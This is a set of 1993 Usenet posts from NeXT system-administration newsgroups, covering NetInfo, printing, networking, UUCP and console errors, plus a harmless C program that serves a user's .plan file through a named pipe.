Newsgroups: comp.sys.next.sysadmin From: rngu@mipos2.intel.com (Robert Ngu) Subject: usa Message-ID: <C82FnB.433@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Organization: Intel Corporation, Santa Clara, CA USA Distribution: usa Date: Thu, 3 Jun 1993 21:57:11 GMT Hi, Thanks to all the kind folks out there that supplied me the IP addresses of several Next FTP sites. I have tried to install several programs but some binaries are not for the Intel platform. Except for archie, which seems to install fine until it reach a point where it said to install on different computer than mine? Any clue? I am a novice Next user and eager to learn. Thanks in advance for any help that you can give. Bob Ngu
From: yanik@planon.qc.ca (Yanik Crepeau) Newsgroups: comp.databases.informix,comp.sys.next,comp.sys.next.misc,comp.sys.next.advocacy,comp.sys.next.software,comp.sys.next.sysadmin Subject: Stupid and foolish move from Informix Keywords: informix database dbkit next Message-ID: <1993Jun3.172043.16926@CAM.ORG!planon> Date: 3 Jun 93 17:20:43 GMT Sender: yanik@CAM.ORG!planon We are developer on NeXTstep OS. In the past couple of year we have developed an application for automation in the television industry. We have used Informix-SE and Informix ESQL-C for doing our development. Those product have been available for NeXTstep on NeXT hardware since a year. Informix is not the database of choice on NeXTstep for many reasons: 1- Informix have took a long time to port on NeXT. Two other RDBMS where available long before (Oracle and Sybase). 2- NeXT has launch a wonderful database tool call database kit. Filters for database kit are simple piece of software that need to be provided from database vendor. Oracle and Sybase ship theirs with NeXTstep. Informix has not made that product available at all; even though a programmer of Informix in Munich (Germany) has developed it, we have it and it works fine. Now NeXT has made a move from a Software/Hardware company to a software only company. NeXTSTEP is now available on Intel' 486 based PCs. To port an application from one NeXTSTEP platform to the other is a simple port, but, again, Informix is slow and is not interested to do that simple thing. The development of our products is complete. From now on we have order for many copies of our product. But now, because of a political matter from Informix we are stuck with a database that will not follow evolution. We will now change of database, and believe me, never again will I use or recommend any of the Informix product. With their weak marketing policy and inconsequent decision no wonder they trail behind other vendor in the market and i predict their situation will decay. Thanks. A very frustrated former Informix developer. Stephane Savard Director R&D Planon Telexpertise Inc. 1370 Joliot-Curie #708 Boucherville, Quebec Canada, J4B 7L9 Email: stephane@planon.qc.ca (NeXTmail accepted and appreciated!) -- Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT)
From: mwgst1+@pitt.edu (Michael W Groff) Newsgroups: comp.sys.next.sysadmin Subject: Using macintosh (powerbook) with NeXT Message-ID: <13039@blue.cis.pitt.edu> Date: 3 Jun 93 21:55:34 GMT Sender: news+@pitt.edu Organization: University of Pittsburgh Originator: mwgst1@unixd3.cis.pitt.edu I am interested in using a powerbook and NeXT together. In particular, I want to: 1. Print from the powerbook to the NeXT printer. 2. Open files on the NeXT (macintosh or unix) from the powerbook. 3. Mount the powerbook disk on the NeXT so that I can backup everything from the NeXT. To make matters worse I would really like to be able to do 1 and 2 over a modem. And I would like to use a direct serial connection (not ethernet) when I'm in the lab. Am I crazy? Is this possible? How? Should AppleTalk Remote Access figure into my plans? Please mail responses to mwg@med.pitt.edu Thanks, I will summarize if there is interest. -- michael groff Medical Student mwg@med.pitt.edu (Please use this address)
Newsgroups: comp.sys.next.sysadmin From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein) Subject: Thanks! (Re: LaserWriter Pro 630 on NeXT) Message-ID: <C81yrG.MJI@ucdavis.edu> Sender: usenet@ucdavis.edu (News Administrator) Organization: University of California, Davis References: <1uj8k9$6e3@agate.berkeley.edu> Date: Thu, 3 Jun 1993 15:52:27 GMT Thanks to everyone who helped me getting my Laserwriter Pro 630 up and running on my NeXTstation. I have tried sending mail to most of you, but a few bounced. I had to overcome two problems: getting the right cable, and installing the PPD file. One sad note, I contacted NeXT, and a lady there told me that the Apple cables should work :^( Thank goodness I have the folks on the Internet to help me out. For anyone who is interested in the doing the same thing, this is my solution: 1) Get the right cable! (I ended up ordering the serial cable (Mini8 Male/DB25 Male) from NeXTconnection). 2) I connected a converter (DB9 Male/DB25 Female) to change the serial cable from 25 pins to 9 pins. The converter was labeled as an "AT MOUSE TO XT ADAPTOR". I picked it up at CompUSA; took a guess, and it worked :^) 3) I FTPed the PPD file from ftp.adobe.com and installed it in the directory /LocalLibrary/PrinterTypes/English.lproj/. Once again, thanks to everyone who helped! Todd
Newsgroups: comp.sys.next.sysadmin From: dale@hecate.phy.queensu.ca (Dale Swanston) Subject: puh-lease help -- NetInfo domain problems Message-ID: <C82oo5.KCD@knot.ccs.queensu.ca> Sender: news@knot.ccs.queensu.ca (Netnews control) Organization: Queen's University, Kingston Date: Fri, 4 Jun 1993 01:12:04 GMT Help, I'm starting to lose my mind. Here's my sad story. I was asked to set up two Nexts. My boss wanted his machine (machine A) to be the NetInfo server but not the mail server. So my machine (machine B) was manually setup as the mail server. Well needless to say an amateur (me) botched the job. I have mail access but mail forwarded from my machine to the boss' doesn't recognize any users on that machine. This is where the problems with NetInfo come in. I have basically 3 domains (NetInfo domains) there's: / , /A , /B . On machine B (the mail server) I can view all three domains with the NetInfo Manager. But on machine A (the NetInfo server - supposedly) I can only view : / and /A. This is bad considering that the NetInfo server cannot see a domain it should serve. I get an error that says 'Domain selected failed to open' when I try to open /B. Is there any obvious reason why the NetInfo server wouldn't be able to open one of its domains? (Like preferences along the lines of Public Window Server etc). And is there a reason why the user accounts on the NetInfo server function properly in every other aspect except when having mail sent to them. [I have another problem that I think is all related to this. The Addresses panel in the Mail Compose window does not hold the Users on the system. I would have expected that at least the users on a local machine would be in that panel. Even with updating the mail database with the 'mailDBupdate' command they do not appear. Is there anyway to look in this mail database to see what the heck is going on?] Any help would be greatly appreciated. I'm a desparate man. I'll supply more information if anyone has any ideas. --- Dale Swanston Dept of Physics -NextMail welcome Queen's University Kingston, Ontario dale@hecate.phy.queensu.ca
Control: cancel <1993Jun2.011758.11551@frsvnsvn.cts.com> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: kurt@frsvnsvn.cts.com (Kurt Werle) Subject: cmsg cancel <1993Jun2.011758.11551@frsvnsvn.cts.com> Message-ID: <1993Jun4.005940.5250@frsvnsvn.cts.com> Organization: Little to None References: <1993Jun2.011758.11551@frsvnsvn.cts.com> Date: Fri, 4 Jun 1993 00:59:40 GMT This message was cancelled from within rn.
Newsgroups: comp.sys.next.sysadmin From: root@infoman.com Subject: Indexing WriteNow Documents Message-ID: <1993Jun3.185429.1792@infoman.com> Sender: root@infoman.com (Operator) Organization: Information Management Inc. Distribution: usa Date: Thu, 3 Jun 1993 18:54:29 GMT I am trying to index WriteNow documents in the Digital Librarian, but even after I install the Third Party Filter, I still get flaky results. Has anyone run into similar problems. If so, any help would be much appreciated. Here is the Filter I Installed. Filter: Port: NXUNIXSTDIO Send Type: NXTypedFilenamePboardType:wn Return Type: NXRTFPboardType Executable: /LocalApps/WriteNow.app/wn-rtf Usually, I get a conversion error in the console with ID:108 thanks in advance Willi p.s: Please respond via e-mail. I do not have regular access to news. willi@infoman.com
Newsgroups: comp.sys.next.sysadmin From: sam@musical.fdn.org (Sam Przyswa) Subject: Re: autonfsmount dies / SLIP problem Message-ID: <1993Jun3.203023.3465@musical.fdn.org> Sender: sam@musical.fdn.org Organization: Rock'n Jazz BBS - (The Music Land) References: <36706@oasys.dt.navy.mil> Date: Thu, 3 Jun 1993 20:30:23 GMT In article <36706@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch) writes: > > You have to load your host name/IP address into the netinfo database. The > info in /etc/hosts isn't used when netinfo is running -- it's stored in > the netinfo database. To update it, you first need to find out whats > in it. You can do this by typing: > > nidump hosts . > tmp_hosts > > This saves the netinfo host data into the file tmp_hosts (which is in > the same format as /etc/hosts. > > Add you host and IP address to tmp_hosts, then type: > > niload hosts . < tmp_hosts > > You can also add the host using the NetinfoManager App if you now how > to use that. > Thanks for your reply, I try that... See you. Sam -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sam Przyswa << Rock©n Jazz BBS >> E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102 --<NeXTmail accepted 10Ko max>-- France Music & Midi BBS
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: NWE NOIR auction [was: A B I G Apology to attendees of my BOF at N.W. Expo.] Message-ID: <1993Jun4.031321.13833@venice.sedd.trw.com> Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1993Jun3.051335.1962@das.harvard.edu> Date: Fri, 4 Jun 1993 03:13:21 GMT Charles L. Perkins (clp@home.HarvardSq.COM) wrote: : ... : I was bidding on everything in sight at the NOIR auction and in particular, : absolutely HAD to have the NeXT-cable dies from the factory, which didn't : go on the "bidding block" until after 8 pm (the order was random). : ... What sorts of things were auctioned? Does anyone remember their rough prices? Thanks... Paul Verket (NeXTmail ok
From: eoliver@venus.haverford.edu (Oliver Erik L) Newsgroups: comp.sys.next.sysadmin Subject: changing my IP address Date: 4 Jun 1993 08:01:07 -0400 Organization: Bryn Mawr and Haverford College NetNews Message-ID: <1undi3$lpe@venus.haverford.edu> Okay, when we installed NS 3.0 we almost concurrently put out machine on the Internet. I recall having serious problems with the pretty graphical application that allows you to choose your IP. My questions are: o what was the fix to the bug in the app again? o is there a way for this vi geek to just edit my old IP out of an /etc/something file and put in the new? -Erik
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: edmtl@taxus.uib.no (Thor Legvold) Subject: What is zone kalloc.1024??? Message-ID: <1993Jun4.140006.12679@alf.uib.no> Sender: edmtl@alf.uib.no (Thor Legvold) Organization: University of Bergen, Norway Date: Fri, 4 Jun 93 14:00:06 GMT I am busy debugging my SLIP connection, and have gotten the following message lately in the Console: Expanding zone kalloc.1024 Expanding zone kalloc.1024 What is this, and what does it mean??? Please e-mail replies. Regards, Thor -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors
From: david@postman.gr.osf.org (David George) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Re: What is zone kalloc.1024??? Date: 4 Jun 1993 15:04:21 GMT Organization: OSF RI Grenoble Distribution: world Message-ID: <1uno9l$s14@paperboy.osf.org> References: <1993Jun4.140006.12679@alf.uib.no> In article <1993Jun4.140006.12679@alf.uib.no>, edmtl@taxus.uib.no (Thor Legvold) writes: |> I am busy debugging my SLIP connection, and have gotten the |> following message lately in the Console: |> |> Expanding zone kalloc.1024 |> Expanding zone kalloc.1024 |> |> |> What is this, and what does it mean??? Zones are bits of preallocated memory. Doing *allocs from them is faster than for normal memory. In this case you've exhausted your initial allocation and it is being expanded. I guess the message is to warn about possible memory leaks. David.
From: stuart@oasys.dt.navy.mil (Stuart Pearlman) Newsgroups: comp.sys.next.sysadmin Subject: Re: set user cron job Message-ID: <36897@oasys.dt.navy.mil> Date: 4 Jun 93 16:30:27 GMT References: <ntomczak.738869643@vega> <1993May31.201150.1689@oops.se> Organization: Carderock Division, Naval Surface Warfare Center In article <1993May31.201150.1689@oops.se> kjell@oops.se writes: >> A Ried Thiel (ried@NorthStar.com) writes: >> >It is possible using NeXT's cron to have the command run as that user. >> >0 1 * * * root su <username> -c '<program>' > >What does this parameter '-c' do. I can't find it under 'man cron or su'?? All arguments after the <username> get passed to the shell for that user, so (assuming /bin/csh as the shell) the above su command executes: /bin/csh -c '<program>'. Check the csh (or sh) man page for a description of the -c flag. -stuart -- Stuart Pearlman stuart@oasys.dt.navy.mil Trandes Corporation +1 301 459 0200 On-Contract-To: David Taylor Research Center +1 301 227 1428
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: FUN WITH NEXTSTEP3.0, UUCP and SUPRA32BIS/42BIS Message-ID: <1993Jun3.101716.716@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <9306011700.AA09898@dogleg.henr.mc.Xerox.COM> Date: Thu, 3 Jun 1993 10:17:16 GMT In article <9306011700.AA09898@dogleg.henr.mc.Xerox.COM> jdyer@henr.mc.xerox.com (John Dyer) writes: > > Many on the net suggest I get Taylor UUCP and avoid NeXT's buggy > version. For those who have done it, what are the time constraints as > well as risks? > Install it with Taylor-systemfiles, but NeXT-directory structure. I didn't find constarints, and I'm using Taylor-uucp now for about a year. It's nice and fast and much easier to set up. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de The nice thing about standards is that there are so many of them to choose from. -- Andrew S. Tanenbaum
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Newsgroups: comp.sys.next.sysadmin Subject: Cpu just "quits" Date: 4 Jun 1993 18:23:43 GMT Organization: The Ohio State University Distribution: world Message-ID: <1uo3vf$q7g@charm.magnus.acs.ohio-state.edu> One of our secretary's slabs keeps "quitting" to the login window on her. This just started. It seems to happen even more when she tries to print something out. (She has 20 megs of ram, and a next printer attached to her cpu) And its not disk space, she is at 34% capacity. Any ideas? Just to stir up any, here is her /usr/adm/messages log, or the last 30 lines of it: Jun 4 00:00:47 pear mach: Generic SCSI Device as sg0 at sc0 target 7 lun 7 Jun 4 00:00:47 pear mach: en0 at 0x2006000 Jun 4 00:00:47 pear mach: en0: Ethernet address 00:00:0f:01:14:00 Jun 4 00:00:47 pear mach: IP protocol enabled for interface en0, type "10MB Ethernet" Jun 4 00:00:47 pear mach: dsp0 at 0x2008000 Jun 4 00:00:47 pear mach: np0 at 0x200f000 Jun 4 00:00:47 pear mach: sound0 at 0x200e000 Jun 4 00:00:47 pear mach: root on sd0 Jun 4 00:00:47 pear mach: master cpu at slot 0. Jun 4 00:01:08 pear WindowServer: Problem starting the NeXTdimension.psdrvr driver. Continuing. Jun 4 00:05:37 pear lookupd[74]: netinfo failure, sleeping Jun 4 00:05:49 pear lookupd[74]: netinfo waking Jun 4 07:27:26 pear wywo[227]: DPS client library error: PostScript program error, DPSContext 24128 Jun 4 07:27:26 pear wywo[227]: %%[ Error: typecheck; OffendingCommand: setfont ]%% Jun 4 07:27:26 pear wywo[227]: DPS client library error: Invalid tag in returned object, DPSContext 24128, data 88548 Jun 4 07:27:26 pear wywo[227]: DPS client library error: Invalid tag in returned object, DPSContext 24128, data 89844 Jun 4 10:49:52 pear Preferences[225]: DPS client library error: Connection closed unexpectedly, DPSContext 541b8, data 0 Jun 4 10:49:52 pear Preferences[225]: Exiting due to Window Server death Jun 4 10:49:52 pear Terminal[228]: DPS client library error: Connection closed unexpectedly, DPSContext 3e130, data 0 Jun 4 10:49:52 pear Terminal[228]: Exiting due to Window Server death Jun 4 10:49:52 pear WordPerfect[229]: DPS client library error: Connection closed unexpectedly, DPSContext 1d2160, data 0 Jun 4 10:49:52 pear WordPerfect[229]: Exiting due to Window Server death Jun 4 10:49:52 pear Workspace[223]: DPS client library error: Connection closed unexpectedly, DPSContext c814c, data 0 Jun 4 10:49:52 pear Mail[226]: DPS client library error: Connection closed unexpectedly, DPSContext 52160, data 0 Jun 4 10:49:52 pear Mail[226]: Exiting due to Window Server death Jun 4 10:49:52 pear wywo[227]: DPS client library error: Connection closed unexpectedly, DPSContext 24128, data 0 Jun 4 10:49:52 pear wywo[227]: Exiting due to Window Server death Jun 4 10:49:52 pear -[144]: loginwindow: Workspace exited ts 0 cd 0 rc 255 sv 0 ss 255. Jun 4 10:49:52 pear -[144]: exiting due to unknown DPS error, code 1103 Jun 4 10:49:55 pear WindowServer: Problem starting the NeXTdimension.psdrvr driver. Continuing. Thanks, shane -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 670 MEGS ::GS:
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin From: lroberts@nyx.cs.du.edu (Larry Roberts) Subject: NXFax problem Message-ID: <1993Jun4.181633.27396@mnemosyne.cs.du.edu> of Denver for the Denver community. The University has neither control over nor responsibility for the opinions of users. Keywords: NXFax Sender: Larry S. Roberts Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept. Date: Fri, 4 Jun 93 18:16:33 GMT We have recently installed NXFax (registerd) on TurboColor Nextstation running NS 3.0 with a ZyXel modem. Currently, when we try to send a fax, more often than not is is unsucessful. It returns the message: Your fax could not be delivered, The remote fax machine failed to identify itself correctly. Has anyone else had this problem? It doesn't seem to make a difference what machine we are sending to. Any help you can give would be greatly appreciated. Please reply by email. Thanks. -Larry S. Roberts 8450lsr@indy.navy.mil lroberts@nyx.cs.du.edu
Newsgroups: comp.sys.next.sysadmin From: (slugg jello) Subject: Re: How can you make the clock chime? Message-ID: <1993Jun4.045608.5239@mouthers.nwnexus.wa.com> Sender: slugg@mouthers.nwnexus.wa.com Organization: Mouthing Flowers References: <1ujfkaINNciv@senator-bedfellow.MIT.EDU> Date: Fri, 4 Jun 1993 04:56:08 GMT In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU> gregory@brigham-circle.mit.edu (Greg Howland) writes: > Is there a way to make the system clock chime or beep on the hour? > > ** Greg ** > gregory@brigham-circle.mit.edu Check out TimeFlies by Mouthing Flowers. It will chime any sound you want, or play a female voice telling you literally what time it is. It also has very handy alarm features. The latest version (2.0.1) is on sonata and orst. Doug Kent Mouthing Flowers, Inc. slugg@mouthers.wa.com -- Doug Kent Mouthing Flowers, Inc. slugg@mouthers.wa.com
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Newsgroups: comp.sys.next.sysadmin Subject: Re: puh-lease help -- NetInfo domain problems Date: 4 Jun 1993 19:25:11 GMT Organization: The Ohio State University Message-ID: <1uo7in$qab@charm.magnus.acs.ohio-state.edu> References: <C82oo5.KCD@knot.ccs.queensu.ca> In article <C82oo5.KCD@knot.ccs.queensu.ca> dale@hecate.phy.queensu.ca (Dale Swanston) writes: > >Help, I'm starting to lose my mind. > >Here's my sad story. I was asked to set up two Nexts. My boss wanted his >machine (machine A) to be the NetInfo server but not the mail server. So >my machine (machine B) was manually setup as the mail server. Well >needless to say an amateur (me) botched the job. I have mail access but >mail forwarded from my machine to the boss' doesn't recognize any users on >that machine. > >This is where the problems with NetInfo come in. I have basically 3 >domains (NetInfo domains) there's: / , /A , /B . On machine B (the >mail server) I can view all three domains with the NetInfo Manager. But >on machine A (the NetInfo server - supposedly) I can only view : / and >/A. This is bad considering that the NetInfo server cannot see a domain >it should serve. I get an error that says 'Domain selected failed to >open' when I try to open /B. > >Is there any obvious reason why the NetInfo server wouldn't be able to >open one of its domains? (Like preferences along the lines of Public >Window Server etc). And is there a reason why the user accounts on the >NetInfo server function properly in every other aspect except when having >mail sent to them. > >[I have another problem that I think is all related to this. The >Addresses panel in the Mail Compose window does not hold the Users on the >system. I would have expected that at least the users on a local machine >would be in that panel. Even with updating the mail database with the >'mailDBupdate' command they do not appear. Is there anyway to look in >this mail database to see what the heck is going on?] Whoa... what I don't understand is /why/ you would have three different domains? Here's how we are setup: "kiwi" is our server. - all other machines act as clients But if I wanted to switch the mailserver from kiwi, to one of the client machines, then all I would do is: Startup netinfo.app Open up the main "domain". click on machines. open up kiwi. click on machines again, open up the machine that I want to be the server. go back to kiwi, and it'll say: name................. kiwi mailhost So I delete that mailhost, and add it to the new machine. That's it, it should work. Don't forget about exporting /usr/spool/mail to any/all machines... If you need more help, just let me know. shane -- :::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!::: : Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu : : root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 670 MEGS ::GS:
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: rsh/rlogin permission problem Message-ID: <1993Jun4.141919.4387@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center Date: Fri, 4 Jun 93 14:19:19 GMT I have tried to get rsh/rlogin to trust other machines on our net to no avail. The files /etc/passwd and /etc/hosts.equiv seem to be set up properly but no go. Has NetInfo taken over this also? I can not find any mention of another place to look. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: jfr@RedBrick.COM (Jon Rosen) Subject: Re: NWE NOIR auction [was: A B I G Apology to attendees of my BOF at N.W. Expo.] Message-ID: <1993Jun4.194236.29573@RedBrick.COM> Sender: usenet@RedBrick.COM (Net News Account) Organization: Red Brick Systems, Los Gatos, CA References: <1993Jun3.051335.1962@das.harvard.edu> <1993Jun4.031321.13833@venice.sedd.trw.com> Date: Fri, 4 Jun 1993 19:42:36 GMT In article <1993Jun4.031321.13833@venice.sedd.trw.com> verket@venice.sedd.trw.com (Paul Verket) writes: >Charles L. Perkins (clp@home.HarvardSq.COM) wrote: >: ... >: I was bidding on everything in sight at the NOIR auction and in particular, >: absolutely HAD to have the NeXT-cable dies from the factory, which didn't >: go on the "bidding block" until after 8 pm (the order was random). >: ... > >What sorts of things were auctioned? Does anyone remember their rough >prices? > >Thanks... >Paul Verket (NeXTmail ok Yep.... A set of juggling balls given away to NeXT employees at a company picnic and signed by master juggler and NeXT supertrainer Randy Nelson (Randy is a former member of the Flying Karamozovs juggling troupe as well as being an avid NeXT advocate) went for $275. A set of rare PS/2 NeXTstep for AIX manuals from IBM (which were printed in limited quantities and then destroyed when IBM decided not to ship NeXTstep) went to Mr. Perkins for $800. Many of the 4'x4' photo-art in NeXT's corporate headquarters went for $200 (cheapest, a picture of a NeXT slab) to $1500 (most expensive, the optical disk). Most went for between $400 and $600. Two black lab coats from the factory went for sonething like $300 each. The white lab coat went for (I heard this) $1500. Eric Scott purchased 300 (count-em!!!!) little-black-NeXT-cube- thingie-tools (if you have a cube you know what I mean) for $125!!!! Even more amazing is a few minutes later, 100 of the same tool went for $140!!!!!!!! (Of course, the latter item included the little plastic trays with the tools neatly packaged, whereas Eric's were just strewn together in a box :-) Lotsa other nice stuff was auctioned off including mass quantities of Mahoney/Garfinkel's book. And Dan Lavin was in TOP form as auctioneer. (Dan, you still owe me a backgammon game :-) Jon Rosen
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.hardware From: jburke@bodacious.csc.wsu.edu (John L. Burke) Subject: CD-ROM Formats - ISO9660 in particular Message-ID: <1993Jun4.183958.10485@serval.net.wsu.edu> Sender: news@serval.net.wsu.edu (USENET News System) Organization: Washington State University Distribution: na Date: Fri, 4 Jun 93 18:39:58 GMT Can anyone point me to a document that explains the different CD-ROM formats? ie, block size, directory structure, etc. Does anyone know what format the NeXT CD-ROM 3.0 System comes in? Is it Rockridge? Thanks for any info anyone can provide. -- ********************************************************************* * John Burke * jburke@bodacious.csc.wsu.edu * * Washington State University * NeXTStation Mono * * Systems & Computing * NeXTMail Welcome! * *********************************************************************
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: How do you execute a program from your .plan file? Organization: Relayed-by-Sendmail Date: Sat, 5 Jun 1993 00:45:38 GMT Message-ID: <9306050045.AA23741@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) Subject is self explanitory. Thanks. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca University of Western Ontario NeXT Mail accepted >>> Developing in the NeXT generation <<< ****************************************************************************
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: changing my IP address Message-ID: <1993Jun5.031434.10553@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1undi3$lpe@venus.haverford.edu> Date: Sat, 5 Jun 1993 03:14:34 GMT In article <1undi3$lpe@venus.haverford.edu> eoliver@venus.haverford.edu (Oliver Erik L) writes: >Okay, when we installed NS 3.0 we almost concurrently put out machine on >the Internet. I recall having serious problems with the pretty >graphical application that allows you to choose your IP. > >My questions are: > o what was the fix to the bug in the app again? Not to use it. :-) > o is there a way for this vi geek to just edit my old IP out of > an /etc/something file and put in the new? Sure. Edit /etc/hostconfig to set INETADDR=xxx.xxx.xxx.xxx N.B.: Effective with 3.1, /etc/hostconfig is supplemented by something called /etc/iftab, but you shouldn't have to worry about that unless you have multiple IP interfaces (not applicable to "black" hardware). -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: mross@antigone.com Subject: HashTable count???? Message-ID: <1993Jun5.033305.1037@antigone.com> Organization: Antigone Press gateway, San Francisco Date: Sat, 5 Jun 1993 03:33:05 GMT The following message keeps popping up on our Console every now & then: *** HashTable: count differs after rehashing; probably indicates a broken invariant: there are x and y such as isEqual(x, y) is TRUE but hash(x) != hash (y) What does this mean? We are running NS3.0 on an '040 Cube Thanks, Michael -- Michael Ross Antigone Press, San Francisco, California e-mail: mross@antigone.com FAX: +1 415 431 3650
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Re: rsh/rlogin permission problem Message-ID: <1993Jun4.180114.4497@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center References: <1993Jun4.141919.4387@uunet!cbmvax!xmws!kripalu> Date: Fri, 4 Jun 93 18:01:14 GMT In article <1993Jun4.141919.4387@uunet!cbmvax!xmws!kripalu> harit@kripalu.com writes: > I have tried to get rsh/rlogin to trust other machines on our net to > no avail. The files /etc/passwd and /etc/hosts.equiv seem to be set > up properly but no go. Has NetInfo taken over this also? I can not > find any mention of another place to look. > -- There seems to be a timing issue. I tried it again after a while and it is working. The rshd server must cache the files and update them periodically -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: How do you execute a program from your .plan file? Message-ID: <1993Jun5.065405.19609@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <9306050045.AA23741@gaul.csd.uwo.ca> Date: Sat, 5 Jun 1993 06:54:05 GMT In article <9306050045.AA23741@gaul.csd.uwo.ca> Gregory W. Gee <gee@gaul.csd.uwo.ca> writes: > Subject is self explanitory. There's a special place in hell for people who post that, because (of course) it never is. Anyway... the general answer is "you can't"--if you want nonstandard finger behavior, you'd have to replace finger and/or fingerd with custom versions. Just for amusement value, however, take a look at the attached. Run it as liveplan ~/.plan ~/.plan-save and it will rename your .plan file to .plan-save and replace it with a named pipe. When killed, it should put the saved .plan file back. + Don't try this on pre-3.0 systems--due to a stupid NeXT kernel bug, you'll end up with processes in uninterruptible sleeps. + Don't use this if your home directory is NFS mounted anywhere. + The author takes no responsibility for the consequences of using, misusing, or abusing this software. In fact, you'll live longer and sleep better if you forget you ever saw it. -=EPS=- ------- liveplan.c #include <stdio.h> #include <errno.h> #include <signal.h> #include <time.h> #include <sys/types.h> #include <sys/fcntl.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/uio.h> /* cc -o liveplan -object -s -O -bsd liveplan.c */ main(argc, argv) int argc; char *argv[]; { void handler(); int s; long now; struct sigvec sv; struct iovec iov[3]; if (argc<2||argc>3) { (void)fprintf(stderr, "Usage: %s file [save-file]\n", *argv); exit(1); } sv.sv_handler=handler; sv.sv_mask=0; sv.sv_flags=SV_INTERRUPT; (void)sigvec(SIGHUP, &sv, (struct sigvec *)NULL); (void)sigvec(SIGINT, &sv, (struct sigvec *)NULL); (void)sigvec(SIGQUIT, &sv, (struct sigvec *)NULL); (void)sigvec(SIGTERM, &sv, (struct sigvec *)NULL); if (argc>2) { if (rename(argv[1], argv[2])<0) { if (errno==ENOENT) argc=2; else { perror("rename"); exit(1); } } } if (mknod(argv[1], S_IFIFO|0666, 0)<0) { perror("mknod"); exit(1); } iov[0].iov_base="The local time is now "; iov[0].iov_len=strlen(iov[0].iov_base); iov[2].iov_base="\nThank you for playing!\n"; iov[2].iov_len=strlen(iov[2].iov_base); if ((s=fork())<0) { perror("fork"); exit(1); } if (s) exit(0); if ((s=open("/dev/tty", O_RDWR))>=0) { (void)ioctl(s, TIOCNOTTY, (char *)NULL); (void)close(s); } for (;;) { s=open(argv[1], O_WRONLY, 0); if (s<0) { if (errno==EINTR) break; perror("open"); exit(1); } (void)time(&now); iov[1].iov_base=ctime(&now); iov[1].iov_len=strlen(iov[1].iov_base); (void)writev(s, iov, sizeof iov/sizeof iov[0]); (void)close(s); (void)sleep(2); } (void)unlink(argv[1]); if (argc>2) (void)rename(argv[2], argv[1]); _exit(0); } void handler(sig) int sig; { }
From: John.Soward@f236.n104.z1.FIDONET.ORG (John Soward) Newsgroups: comp.sys.next.sysadmin Subject: Re: HOW TO CRASH ANY NEXT Message-ID: <3274.2C0FBBA9@paranet.FIDONET.ORG> Date: 3 Jun 93 20:44:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- John Soward - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: John.Soward@f236.n104.z1.FIDONET.ORG
